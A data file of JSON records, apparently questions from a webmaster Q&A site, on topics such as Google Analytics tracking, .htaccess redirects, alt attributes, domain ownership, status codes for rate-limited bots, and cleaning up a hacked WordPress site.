{"id":"6836","title":"I've created a SaaS website directory, how can I improve it?","text":"I'm looking for general feedback on my website www.saaslounge.com. I'm not sure if this is the correct place to post such a request so apologies in advance. I've spent a few days putting together a Joomla based website - www.saaslounge.com - which is a directory of web applications. The concept is simple, people can sign up to the site and list their SaaS apps in the directory free of charge. I have no intention of changing this model, for the site to work it needs to remain free. However what I would like to do is add more value to the site, and this is where you come in. I've been thinking about ways that I could add more value, and by value in the case of a directory I specifically mean gather more data on the SaaS applications listen. An obvious and easy example is to measure applications uptime and show this. We currently also check each of the sites listed against our SaaS metric http:\/\/www.saaslounge.com\/saas-metric to ensure that they meet certain criteria. All thoughts and opinions are welcome. Oh, and I know the site design is shocking. We'll get that sorted if the site becomes more popular."}
{"id":"49465","title":"Apostrophe turning out as a '6' instead of a '9'","text":"You know how with \"quotation marks\" -- with some fonts, the first mark in the set is shaped like the digit '6' and the last mark in the set is shaped like the digit '9'... …and an apostrophe is shaped like a digit '9'… Well, I have an apostrophe that's shaping out as a 6 instead of a 9. It's in the second paragraph here: http:\/\/richardclunan.com\/copywriter\/ It's right after a hyperlink. I don't want to include the apostrophe in the hyperlink, and I prefer to keep the copy as it is. Is there any way to fix this?"}
{"id":"24788","title":"Google Analytics Goals with AJAX Functionality?","text":"I have some nice ajax contact\/enquiry forms etc on a website I'm working on which are working great (and degrade gracefully). I'd like to make use of Google Analytic's 'Goals' feature. The trouble is, the only way I can see this could work for my form is if it redirected to another page (be it a thank-you page or similar) after submission, then I can enter that url at a page people only visit after they've submitted my form. I can see how this would work for my non-JS visitors (if any even have it disabled!), but is there any way to track when an AJAX form has been submitted? Thanks Edit: I should add that I know I can work out manually the conversion rate and so on\/so forth by the number of enquiries I receive, but why not try and make things easier for mysef? :-)"}
{"id":"60764","title":"Too many duplicate image alt attributes. What to do?","text":"I've got a table. And as you can see below I've got a lot of duplicate alt attributes going on. What is the best way to prevent this but still have valid HTML5 code? <table id=\"benefits\"> <thead> <tr> <th><\/th> <th>Unregistered<\/th> <th><b>Basic<\/b><\/th> <th><b style=\"color: #a2cb47\">Premium<\/b><\/th> <\/tr> <\/thead> <tfoot> <tr> <td><\/td> <td class=\"center\">Free<\/td> <td class=\"center\">Free<\/td> <td class=\"center\"><b>$9.99\/mo<\/b><\/td> <\/tr> <\/tfoot> <tbody> <tr> <td>Complete ad-free experience<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>Unlimited parallel downloads<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>Direct downloads<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>Maximum file size<\/td> <td class=\"center\">100 MB<\/td> <td class=\"center\">1 GB<\/td> <td class=\"center\">10 GB<\/td> <\/tr> <tr> <td>Your files never expire<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>Intuitive file manager<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>Personal storage<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\">10 GB<\/td> <td class=\"center\">1 TB<\/td> <\/tr> <tr> <td>Password protect your files<\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <tr> <td>No reCAPTCHA codes<\/td> <td class=\"center\"><img src=\"\/images\/cross.png\" alt=\"Cross\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <td class=\"center\"><img src=\"\/images\/tick.png\" alt=\"Checkmark\" height=\"15\"><\/td> <\/tr> <\/tbody> <\/table>"}
{"id":"48795","title":"Google Webmaster Stats","text":"## Google Webmaster Stats I'd want to show some stats much like the **_Google Webmaster Tools_** with the following things: * crawl stats, * links to your site, * structured data, * etc. What is the way to get these stats from Google Webmaster Tools? I searched for it, but couldn't find a sufficient answer. Thanks a lot for any pointers."}
{"id":"7002","title":"Adding 'Last Modification Date' to HTML pages","text":"I have a personal website that has around 4 - 5 HTML pages that I modify on a local editor (Kompozer) and then upload it to my website running on Apache. I have seen many a times, pages have the footer as: 'Last modified date: ' or something like this, the date when the page was last updated. How do I do the same for a HTML page? Is it possible?"}
{"id":"31183","title":"Are there any possible reasons for a decreased view rate if nothing on the site has been changed?","text":"Google Analystics says that over the last 4 complete weeks (e.g., may 21 to june 16), the average was ~90 views\/day. For the last week, the average is 17.5\/views day. Nothing on the site appears to of changed. There is no advertising. Could there be more to this than random flucation?"}
{"id":"9685","title":"How can we change ownership of a domain name from \"missing\" web designer?","text":"We had a website produced a few years ago with a .ORG domain name. The site hadn't grown with our needs, so we've now got a new .co.uk site. Our intention was to transfer the .org address to the new site on completion. Our new site is to go live soon, but the original .ORG site has gone offline (hosting expired I believe, as the expiry date for the .ORG is in 2012) and we now discover that the .ORG domain name is registered to the web designer and not to anyone in our organisation. The WHOIS information gives us the technical contact as discountasp.net. What are the steps we can take here? Our primary concern is getting the name servers changed (the current .ORG address goes nowhere) and ultimately we need to transfer ownership. The organisation in question is a community, non-profit organisation, so our pockets are not deep."}
{"id":"50393","title":"Domain forwarding to new sub domain not working","text":"I've a site `www.xyz.org` which I've migrated to `xyz.newsite.org`. It has been more than a month but Google is still showing `www.xyz.org` in the SERP. I've migrated another site exactly in the same way and at the same time and in 10 days Google picked it up. It seems we can't indicate domain to sub domain migration in GWT. Here is the _.htaccess_ I've placed in the `www.xyz.org`: RewriteEngine On # Redirect Entire Site to New Domain RewriteCond %{HTTP_HOST} xyz.org$ [NC] RewriteRule ^(.*)$ http:\/\/xyz.newsite.org\/$1 [R=301,L] I'm not sure if I'm missing anything else."}
{"id":"44414","title":"Proper Google Analytics setup for AJAX heavy page?","text":"Lets say I have a website with a few pages. The purpose of each of those pages is to display live statistics for a real world event (for example, sports scores). Every 60 seconds, an `Ajax` call is made to the server to fetch the latest sports scores and the update the page with those scores. A user would typically open this webpage and leave it open for many minutes (maybe hours). They would never need to refresh the page because it always has the updated scores on it. What would be the best way to track my user's experience on this page with _Google Analytics_. Obviously, when the page first loads, that page visit is logged. But then, every time some Ajax call occurs, what would I have Google Analytics do? I want to properly track time-on-site and page loads. Would each Ajax refresh be considered a new page load? I've seen some sites suggest doing this when Ajax happens: _gaq.push(['_trackPageview', '\/somepage']) That would be like telling _Google Analytics_ that the user reloaded the page. Is this accurate? Or is there some other type of event to push that is more accurate for Ajax calls? Technically I guess you could tell GA to track the page view of the Ajax URL? Or would using custom GA events make more sense? The reason I'm asking is, lets say down the line, some company wants to purchase my website from me. I would want to be able to show them my _Google Analytics_ history and know that the pageviews and time-on-site is calculated accurately. I would not want someone to have a reason to question time-on-site or page views. If I was using GA events instead of page views for the Ajax calls, would that accurately be taken into account for time-on-site? Also, if I was running _StatCounter_ on the site at the same time, is there a similar thing I would need to do for that as well?"}
{"id":"34836","title":"Why do some user agents have spam urls in them (and why are they always Opera\/Presto User-Agents)?","text":"If you go to (say) the last 100 entries (visits) to the botsvsbrowsers.com website (exact link, feel free to take a look: http:\/\/www.botsvsbrowsers.com\/recent\/listings\/index.html ), you'd notice that almost every User Agent that has the keywords \"Opera\" and \"Presto\" inside them, will almost certainly have a web link (URL\/Web Address) inside it, and it won't just be a normal web address, but a HTML anchor tag\/link to that address. Why is this so, I could not even find a single discussion about it on the internet, nowhere, I tried varying my search terms many times. If the user agent contains the words \"Opera\" and \"Presto\" it doesnt mean it will have this weblink, but it means there is about an 80% change that it will. A typical anchor tag\/link inside a user agent will look like this: > Mozilla\/4.0 <a href=\"http:\/\/osis-uk.co.uk\/disabled-equipment\">disability > equipment<\/a> (Windows NT 5.1; U; en) Presto\/2.10.229 Version\/11.60 If you check it out at the website, http:\/\/www.botsvsbrowsers.com\/recent\/listings\/index.html you will notice that the back and forward arrows are in there unescaped format. This isn't just true for botsvsbrowsers, but several other user agent listing sites. I'm really confused and feel line I'm in a room full of 10,000 people and am the only one seeing this ghost :). If I'm doing statistical analysis, should I include or exclude this type of user agent from my listing (ie: are these just normal users who've set their user agents to attempt to drive some traffic to their sites as they browser the web), or is there something else going on? The fact that it is so consistent in terms of its format leads me to believe that it is an automated process (the setting or alteration of the user agent) so I cannot decide or understand the process by which this change is made (I know how to change a user agent), but unsure which program or facility is doing this, especially since it is exclusive to Opera (Presto) user agents that are beyond I think an 8 or 9 point something browser version. I've run some statistical tests, parsing entries from all over the place, writing custom programs, to get a better understanding of this. Keep in mind that I see normal URL's in user agents infrequently, they are just text such as +http:\/\/www.someSite.com appended to a user agent normally, especially if its a crawler or bot it provided its service URL, this is normal and isnt done with an embedded link (A HREF=) etc, so I'm not talking about \"those\"."}
{"id":"48511","title":"Google Analytics shows visits to pages redirected in .htaccess","text":"Yesterday, I switched on a section of pages in our site that replaces a really old collection of pages. In our .htaccess file, I have rules that redirect a request for any page in the old section to the equivalent in the new section. All the tests I have done show this is working properly. I put the old URL into the address bar, and the new version of it is displayed. However, when I look at Google Analytics Real-Time view, I am seeing a few page views for the old URLs. Since the redirect should occur before the GA code ever runs, does anyone have an idea about how GA is seeing visits for the old pages?"}
{"id":"7255","title":"Wordpress Mobile Edition, Wordpress Mobile Pack, WPTouch - Which one and how?","text":"First of all, Happy New Year! I am thinking about making my blog accessible and enjoyable on mobile devices (as many handsets as possible). I am using Wordpress 3.0.4. What I've found is couple of cool plugins like WPTouch (for touch enabled devices), The Wordpress Mobile Edition and the Wordpress Mobile Pack. I am wondering which one is the best to use if I can use only one. If I can use more or (even all these three) are they compatible? Does anyone have any experiences in this topic? If so I would much appreciate some advices or best practice links. Happy 2011, thanks in advance, Rob"}
{"id":"44612","title":"Duplicate alt tags in a big gallery","text":"Our website mainly consists of galleries, while usually smaller, they sometimes reach over 100 images per post. As each image is bound to the same topic, they are automatically named after the post title and an added incremental number at the end, for example: Title: `League of Legends Sona Cosplay By Eki` Image names: league-of-legends-sona-cosplay-by-eki-1.jpg league-of-legends-sona-cosplay-by-eki-2.jpg league-of-legends-sona-cosplay-by-eki-3.jpg ... At first, all of those had the page title set as their alt text and everything was fine for a long time like that, but then I got scared that Google might find that keyword stuffing or something, so I removed all the alt tags and they are now alt=\"\". This seems like a really bad practice, so I was wondering what could I do to fix this and I came up with an idea to simply use the file name as an alt tag, but this still leaves a lot of duplicate content issues if you ask me. I am not trying to trick Google into ranking better, but merely trying to protect the site from any penalties that could arise from all the images there."}
{"id":"7253","title":"how to include tags in permalinks of wordpress","text":"while using custom structure in my wordpress url , when i am trying to include tags, it shows me , it is showing errors , but when i add category , it reflects in url. i want that the tag gets included in custom url structure automatically , how can it be done using wordpress ... please help ... when i am adding \/%tag%\/ to custom structure field in wordpress admin , the url shows not found message."}
{"id":"18599","title":"Would problems arise if a domain was bought as 'name.com' instead of 'www.name.com'","text":"If a website domain name was bought and registered as 'name.com' instead of ' **www**.name.com' would users still be able to find the site by typing 'www.name.com'?"}
{"id":"15740","title":"Silverstripe: How can I disable comments?","text":"My client site is built in Silverstripe, there is a news page, and it allows people to leave comments. Unfortunately we've got loads of spam emails. I'm new to this, is there any way we can disable the comment field by default? How do I do it? Alternatively is there easy way for me to install a spam protection? **Update** - Because this is someone else's code, I just realised that they have some sort of spam protection already, so we are trying to disable comments now. I have manage to set no comment as default by changing file BlogEntry.php static $defaults = array( \"ProvideComments\" => true, 'ShowInMenus' => false ); to static $defaults = array( \"ProvideComments\" => false, \/\/changed 'ShowInMenus' => false ); Am I on the right track to disable comments by default? Also how can I stop on the news page showing xxx comments link? eg Test Posted by Admin on 21 June 2011 | **3 Comments** Tags: P This is a test.... **3 comments** | Read the full post"}
{"id":"6859","title":"Can google apps be an alternative to outlook server with blackberry email and calendar","text":"A client of mine is looking for hosting and email. They will be using a blackberry and outlook for both email and calendar functionality. They are used to working in an office environment where outlook server and a blackberry server work together. Will Google apps fulfill the same roles as outlook server and does it sync well with blackberries. Will Google apps push to the blackberry new emails and calendar events? Otherwise they would have to go with an outlook email hosting plan which is 20$ a month. Google apps is 50$ a year. Any help would be greatly appreciated. Bundarr"}
{"id":"48779","title":"After changing DNS a domain shows differently on different browser?","text":"I have changed the nameserver's of one of my domains but I found a problem that within Firefox these changes have not updated as expected, however this problem does not occur in other browsers such as Internet Explorer. I have refreshed the page and no joy, Why is the nameservers only working for certain browsers?"}
{"id":"59669","title":"advantages and disadvantages of base64 image strings","text":"I discovered that you can covert images into base64 strings and use those string within `img` tags and css like this: <img alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAhEUgAAA ... FTkSuQmCC\" \/> or this: background-image: url(data:image\/png;base64,iVBORw0KGgoAAAA ... uQmCC); Serving images in this way seems improve website load times, but may have some drawbacks. I have a few questions about this method: * Will the browser cache these images? * Is it faster for a page to render this string or an image file? I am interested in other advantages or disadvantages involving this image serving method."}
{"id":"65674","title":"Should I return a 429 or 503 status code to a bot?","text":"We are doing some work to block excessive bots. We are throttling requests based on IP. In the past, using IIS, we have returned a 503 error to the client. Someone suggested that a 429 is more appropriate. I am trying to figure out which one I should use and why. When I searched this site for 429, I found nothing. I found these definitions of HTTP Status Codes on Wikipedia: > 429 Too Many Requests The user has sent too many requests in a given amount > of time. Intended for use with rate limiting schemes. > > 503 Service Unavailable The server is currently unavailable (because it is > overloaded or down for maintenance). Generally, this is a temporary state. It seems that the 429 is more appropriate to serve to an offending bot. Is this correct?"}
{"id":"49047","title":"HTML: Images always getting reloaded from server","text":"I am finding that my web pages' images are always getting loaded from my server, even though they never change. Since these are images, not pages, I can't include an expiration date for them... How can I tell browsers to avoid reloading images they already have? **Update:** In PHP I tried using this: header (\"ExpiresByType image\/gif \\\"modification plus 10 minutes\\\"\"); but this causes an internal server error."}
{"id":"86","title":"How do I go about finding a good copy writer?","text":"Darn it Jim, I'm a developer, not a writer! Great copy is paramount to search engine rankings and making visitors feel good about whatever the website is offering. What is the best way to go about finding an awesome writer who specializes in writing great copy specifically for the web?"}
{"id":"59666","title":"HTTPS redirect to HTTP not working with 'www' subdomain","text":"I have 2 rules on my site: one to force the `www` subdomain, and another to force the HTTP protocol: RewriteEngine On RewriteBase \/ RewriteCond %{HTTPS} =on RewriteRule ^ http:\/\/%{HTTP_HOST}%{REQUEST_URI} [R=301,L] RewriteCond %{HTTP_HOST} !^www\\. [NC] RewriteRule ^ http:\/\/www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L] If I type `https:\/\/example.com`, it is correctly redirected to `http:\/\/www.example.com`. But if I type `https:\/\/www.example.com`, it isn't redirected to `http`. It remains in HTTPS. Why isn't this working?"}
{"id":"84","title":"Designing for the IPad","text":"I'd like for my website to be accessible (e.g., fully usable) through the IPad. What do I need to do?"}
{"id":"85","title":"What's required of a web server in order to offer up streaming (but not live) video?","text":"What's required of a web server in order to offer up streaming video? Where would you start? Edit: Let's assume it is **not** real-time or live streaming, just canned videos."}
{"id":"29338","title":"Google started to ignore some of my top traffic generator pages, How to fix it?","text":"I had top search results on certain keywords with some of my articles. but google started to ignore them now and it completely ignores all pages with this keyword. I lost top search position and other sites that copied my article and even gave referral link back to the article are on top results. my site is listed in google, crawl able, and with no infection report on google webmaster tools. What caused this and how can I fix it?"}
{"id":"29339","title":"Trying to push an affiliate program onto members, how soon is too soon?","text":"On a site I run we have recently launched an affiliate program - one of the groups of people we want to target as potential affiliates are current members of the site - I mean who better to sell a service than the users of the service! I want to ask how soon is too soon to ask the member if they would like to become an affiliate of ours? We had been toying with the idea of putting it into the thank you email used when they sign up, but I think that is maybe too soon. Has anyone had to do anything similar? We want to catch people as soon as possible but don't want to bombard a new user too much."}
{"id":"29336","title":"Webmaster tools site performance - reliable measurements","text":"I am measuring a few sites and use both webmaster tools and analytics to track various aspects. One of the aspects I try to measure and track is performance. I am getting a much more reliable measurements in analytics, mostly thanks to this article. However, I am also curious about the stats that appear on the webmaster tools `site performance` section. One thing I noticed is that the numbers don't exactly match. The second thing is that Webmaster Tools updates much less frequently. That's probably to be expected, but most of the sites I have will show latest information from a couple of days ago, but one particular site still displays data as `updated on Apr 12, 2012` (today is May 05, 2012). In terms of accesses, it's not a particularly small site compared to others. So it's unlikely the slow updates are because it has too little or no traffic. My questions, in case someone knows: * How come one website only shows performance stats from nearly a month ago and doesn't get updated? * What is the difference in _measurements_ (method, accuracy, source of data etc) between analytics and webmaster tools? * Is there any 'best-practice' to make sure google (and me) get the most reliable measurements? UPDATE: To clarify, I am not asking what's the difference between webmaster tools and analytics, what are the best tools to test my site performance, or what's the best practice for SEO in general. I am quite aware of those. I am just wondering about the particular issues I experienced above and the specific aspects affecting performance measurements and update frequency in those tools."}
{"id":"63238","title":"How do I fix the Google Webmaster Tools warning: \"URL not followed?\"","text":"A few days after submitting my sitemap to Google, I received this warning: > When we tested a sample of URLs from your Sitemap, we found that some URLs > redirect to other locations. We recommend that your Sitemap contain URLs > that point to the final destination (the redirect target) instead of > redirecting to another URL. The example URL Google gave me is `http:\/\/iketqua.net\/?_escaped_fragment_=CIDTKT\/mien-trung\/xo-so-kon-tum` I checked all possible things that I could think of, but still can't figure out what the warning is about! My sitemap: http:\/\/iketqua.net\/sitemap.xml"}
{"id":"14636","title":"Track a Adobe Flash app hosted on multiple domains with Google Analytics","text":"I'm working on a flash app that's gonna be distributed to more and more partners (and obviously domains). It needs to be tracked **aggregated and also separately**. I implemented Google Analytics using gaforflash, tracking virtual pageviews and events inside the flash app. What I want to achieve: * View an **aggregated report** of all partners. * Identify the partner not by the domain (where the flash is used), but by a **partnerID**. * **Each partner** needs access to the **report of his domain**. (no admin rights needed) I came up with this solution: * Using only one \"Web property\" in Google Analytics. * `UA-XXXXXX-4` * `.example.com` * Set a **custom\/virtual hostname** per partner. (GA's \"utmhn\" parameter) * `partner1.example.com` * `partner2.example.com` * Create a profile for each partner, setting the filter to include only the relevant \"subdomain\" Problems that came up: * The gaforflash library doesn't support overriding the host name. * Possible workaround: The gaforflash source code is available, so I could add the functionality. * Any goal from the \"master\" profile is **not** copied to the partners profile. * profile 1: include traffic from hostname `^partner1\\\\.` * profile 2: include traffic from hostname `^partner2\\\\.` * * * Is it (very) bad to _fake_ the hostname? Are there better approaches? Or what improvements could you think of? **UPDATE:** I'm looking primarily for a solid data structure inside Google Analytics **regardless of** the **flash** implementation. The only limitations: * We need an aggregated view across all partners * Our partners need to have access to their subset of data * We want to identify the partner by a custom partnerID, not the domain"}
{"id":"33647","title":"Blocking adsense ad units for a particular country","text":"So I have got one hater in India who bombarded on my adsense ad units. Luckily I didn't get banned from Google. I have blocked Indian visitors from my site using iq-blockcountry plugin (wordpress). Now I want to know if there's any procedure so that I can allow the Indian visitors but hide the adsense units from them? I don't want to block all visitors just because of one foolish person."}
{"id":"14299","title":"Free search tool for static website","text":"I am looking for a free search tool for a website hosting html documentation files. the tool should display the results as listings of page title and few lines of text from that page. It should also work on the site being hosted locally on LAN so it should do the search by itself."}
{"id":"33648","title":"Where can I find a good perl script for a cronjob that backs up all files in a specific folder on my webspace?","text":"I want to automate backups on my webspace. My provider allows for cronjobs to be executed once a day. I have already implemented a cronjob that backs up my database with mySQLdumper, using a perl script. Now I want to use a script that backs up all my files in a specific folder (e.g. \/folder\/), zips them and moves them to \/backups\/ Is there a way to do so? If yes, could you recommend a good perl script template that lets me easily modify it so I can use it the way I want? Ideally, it would also have the feature to exclude certain file types, like jpg, gif and png."}
{"id":"30665","title":"How to scan\/clean my ftp for malware?","text":"Just recieved this email from my hosting: > Your web hosting account for your domain xxxx has been deactivated, as of > 06\/06\/2012. (reason: terms of service violation - malware\/virus) > > This deactivation was due to a Terms of Service violation associated with > your account. Any ideas how to fix this? I have a couple of wordpress sites and the hosting company is bluehost."}
{"id":"8209","title":"Does AdBrite Pay per CPM Only or Do You Get Money For Clicks as Well?","text":"Does adBrite give you any money for clicks? I'm only getting a few visitors per day, but they are clicking on ads apparently. My earnings are very low."}
{"id":"8754","title":"Centring an HTML element relative to its parent when its width is greater than its parent","text":"I mocked up my intended outcome. So the blue element is the main content of the website and the yellow element represents something like a diagram or an image that has a greater width than the blue element. Ideally, I would like a purely CSS solution that is able to deal with various sizes of images. I have tried various things but have failed so far. I hope you can help! Here’s some example markup to set you on your way. <!DOCTYPE HTML> <html> <head> <title>Example<\/title> <style> #el1 { display: block; margin: 0 auto; width: 30em; background-color: #8cabde } #el2 { \/* works when the width is less than the parent *\/ display: block; margin: 0 auto; } <\/style> <\/head> <body> <article id=el1> <p>Some content above.<\/p> <img id=el2 src=http:\/\/i.stack.imgur.com\/JFfGG.gif title=spaceball width=600 height=400> <p>Some content below.<\/p> <\/article> <\/body> <\/html>"}
{"id":"30849","title":"How often do users of social websites use viral inviters, like gmail\/twitter\/facebook integrations to invite friends?","text":"I'm thinking about developing a viral invite type function to allow users to invite some of their contacts from popular OAuth services like gmail, facebook, twitter, linkedin, etc. Before I go there, though, is there any research on how often users use these functions if they are around?"}
{"id":"8753","title":"How to pass a url with appended # section to Twitter?","text":"Is possible to send URLs with \"#\" selector to Twitter ? In other terms, can I generate a short url pointing to a specific section in my webpage ? I've tried to pass the url but Twitter interpret what is after \"#\" selector as a twitter user. I've also tried to use tinyurl.com APIs to generate a short URL for each section of y webpage, but it ignores \"#\" appended to urls... thanks"}
{"id":"31508","title":"Sample size and statistical significance in Google Analytics","text":"I have been asked to compile a report into dropout rates during checkout for a global webstore I have used a sample size over one month as my sample because: 1. google analytics slows to a crawl over larger sample sizes and makes much of the analysis agonisingly slow 2. I believe it to be statistically significant and a representative sample My client has asked me why I didn't use yearly figures and wants proof that one month of data is 'statistically significant'. Am I right in thinking that I need to compare the standard deviation of my monthly sample to the yearly sample and ensure that the deviation is under a certain %age? **Question:** how do I prove one month of Google Analytics data is representative to one year worth of data? Stats: * 90k unique views\/month * ~1.1m per year."}
{"id":"63217","title":"301 redirecting a blog's RSS feed URL?","text":"I moved my personal blog from Wordpress to Ghost this weekend, which changes the RSS feed URL from `\/feed\/` to `\/rss\/`. By default Ghost returns a 301 redirect for `\/feed\/`, which I've verified by checking the response header and looking at the logs:  In Feedly though, new posts aren't being picked up (at least after 24 hours. I'm not sure if they might have a waiting period before updating the URL). What's the correct thing to do in this situation? Do I need to keep `\/feed\/` alive instead of returning a 301? If so, is there a rewrite rule that would let me do this in nginx instead of having to modify the Ghost source code?"}
{"id":"39418","title":"When should I go for extended-validation SSL?","text":"At what point do I need an extended-validation SSL certificates (EV) rather than the less expensive domain-validated SSL certificate?"}
{"id":"39426","title":"What can be done through XFrames, as compared to IFrame in html?","text":"What can be done through XFrames, as compared to iframe in html? Is there any new feature other than making it easier to bookmark in XFrame as compared to IFrame?"}
{"id":"58778","title":"How does a website with user provided content get started?","text":"I was wondering, How does a website that is based around content uploaded by users get started? When the website launches there is no content for the users to view or use\/interact with so there really is not much of a drive for the user to make a account and use the website. How do I get started? Dummy content? Or just good SEO and patience? In case it's not clear what I mean; think of it as day 1 of Youtube(Example site) what motivated people to still upload content and continue to visit\/use the site? I hope I'm posting in the right Stackexchange. Thanks in advance."}
{"id":"31641","title":"Canonicals with differing content","text":"Interesting conundrum here with canonicals. Lets say I have a site with a \"verified\" system where other websites can become so and so \"verified\". Their url to send people to confirm verification is something like \"blah.com\/verify\/company1\" and \"blah.com\/verify\/company2\". But logically \"blah.com\/verify\" itself is not verifying anyone in particular, so it redirects to the signup form to get verified, at \"blah.com\/verify\/register\". As far as the actual companies registered, I figure it doesn't make sense to index every individual url with only the tiny difference of which company name it's saying yay or nay to being verified, so canonicals could come in handy on those pages to condense the indexing. Yet making \"blah.com\/verify\" the canonical \"hub\" doesn't work well because it's a signup form, not a verification page, so technically has quite different content from the various verification pages themselves. But at the same time it's a bit unfair to choose 1 company to point all the canonical benefits to and use that as the \"hub\", yet a bit wasteful to have google index every individual verification page and spread out all that linkjuice. Basically, I'm just looking for advice, what's best for this from a search engine standpoint?"}
{"id":"35022","title":"Redirect cPanel url to something different","text":"I have masterdomain.com which is the domain that hosts other domains. On cPanel normally you can get to the actual cPanel by visiting `cpanel.hosteddomainA.com`, `hosteddomainA.com\/cpanel` or `hosteddomainA.com:2082` What I would like to accomplish is to have the hosteddomains cPanel auto redirect to something like `my.masterdomain.com:2082` . Doing this would allow me to adequately throw an SSL cert in `my.` and really offer a secure experience to my users. I know it's possible because bluehost does the same. They redirect to my.bluehost.com. Can anyone think of how to do it?"}
{"id":"47428","title":"Is it possible to link a Google+ page to multiple web properties with rel=\"publisher\" ?","text":"I want to have the Google+ page of my startup linked to 2 domains: `blog.eatfab.com` and `www.eatfab.com` for the obvious reasons that they're both eatfab's properties. I wonder if that is possible. I'm able to link only one. The problem is that when I try to see on google rich snippets tool who the publisher of `www.eatfab.com` is (when `blog.eatfab.com` appears as a linked url on the Google+ page), I get the error: This is not a verified publisher markup."}
{"id":"49211","title":"How to handle duplicate product pages for SEO?","text":"I am using the following URL format to display products: `mysite.com\/category1\/product`. Now I am finding certain products fall into more than 1 category and I would like the product to be listed in all related categories so I end up with: mysite.com\/category1\/product mysite.com\/category2\/product The product page is exactly the same the only difference would be the URL and a slightly different breadcrumb menu on the page. I understand this is bad practice for SEO, what can I do while still maintaining the URLs with both categories?"}
{"id":"34160","title":"Why does google does not ignore the word \"languages\", although I have set to ignore it in advanced search settings","text":"Why does google does not ignore the word \"languages\", although I have set to ignore it in advanced search settings. here is the term I am using in google search: -languages site:http:\/\/en.wikipedia.org\/wiki\/ and here is the first result where the word \"languages\" is still present, (you can do a quick crtl+F to find out) http:\/\/en.wikipedia.org\/wiki\/Walter_Bedell_Smith I am just curious to know why google have not ignored the word \"languages\"?"}
{"id":"34165","title":"subdomain not working and added \/mysubdomains\/devsitename","text":"I am having a site www.example.com which working fine and I have a number of sub-domains which are working fine except one. When I gave the url **subdomain.example.com** the address bar showing as below subdomain.example.com --> www.subdomain.example.com\/mysubdomains\/devsitename It added the www and the \/mysubdomain\/devsitename which is my hosted directory in my server. Then it came up with **the website you were looking for is unavailable**. Has anyone experienced this issue? Do you know how to resolve this?"}
{"id":"50587","title":"Sendmail encrypted","text":"I manage a website running on Apache. It has public and private areas. When people apply for an account to access the protected portions of the site, they do a TLS\/SSL protected POST containing their information which is saved to a (hopefully) nonpublic directory on the server. Then I have a python script which takes URL Encoded POSTS with this user information, sends back a plaintext confirmation to the applicant, encrypts their information with a freeware java command-line utility to protect it (specifically this one: http:\/\/spi.dod.mil\/ewizard.htm), base64 encodes them, puts them in a file as a mime attachment and uses sendmail to forward the file information to my (and several coworkers' scattered around the country) email account(s) on an Exchange server with Outlook clients. This has worked well for years, but is awkward because it involves manually decrypting the information on a windows box once it is received, using the above mentioned encryption utility. This significantly limits how many can be processed. I would like to be able to encrypt my information in a format that Outlook\/Exchange can inherently understand and display so that these emails can be viewed simply by clicking on them. I do have company provided PKI public certs for all the people I need to send to, and am able to send\/receive encrypted emails on Outlook manually, but would like to know how I can send to Outlook from apache\/linux\/python from the command line using the same PKI certs. Dont need to receive them, just send. Is there a utility that can do this? I had thought pgp might but I havent been able to figure it out."}
{"id":"64639","title":"Html integration for user end only for moodle","text":"How can I integrate my customized theme to only the user end and not to the admin end for moodle. The admin end should remain the same,but when user logins the theme should change."}
{"id":"44874","title":"What is redirecting mobile visitors to our website?","text":"Our site may have been hacked. It loads okay on desktop browsers, but on mobile devices it redirects to a porn site. I can't see anything in the source code or .htaccess which would be causing this. The site is Wordpress based, and it used to use Wordpress Mobile Edition, but that is now deleted, yet the symptom persists. Can you see what is redirecting mobile visitors?"}
{"id":"9878","title":"Joomla 1.5 admin section blank","text":"I've just installed Joomla 1.5.22, and after I log into Joomla admin, the Joomla logo appears, and the content area with rounded corners appears, but there is no content, and no admin menus. I've uploaded the \/administrator folder once more, but the problem remains. I've searched the Joomla forums without much luck. Any ideas?"}
{"id":"9876","title":"Free Web hosting for web applications","text":"Are there web sites that offers hosting of a web application that uses c++? I know that there are a lot of free web hosting solutions that offers hosting for regular web applications made with php, mysql, etc. I would like to upload a routing engine for my website. My application is a travel planner, and I have a custom routing engine that is made of c++. If there are free online Linux OS hosting that can act as a ordinary OS installation (which will be my best option), I would greatly appreciate if you can list them below. Thanks in advance."}
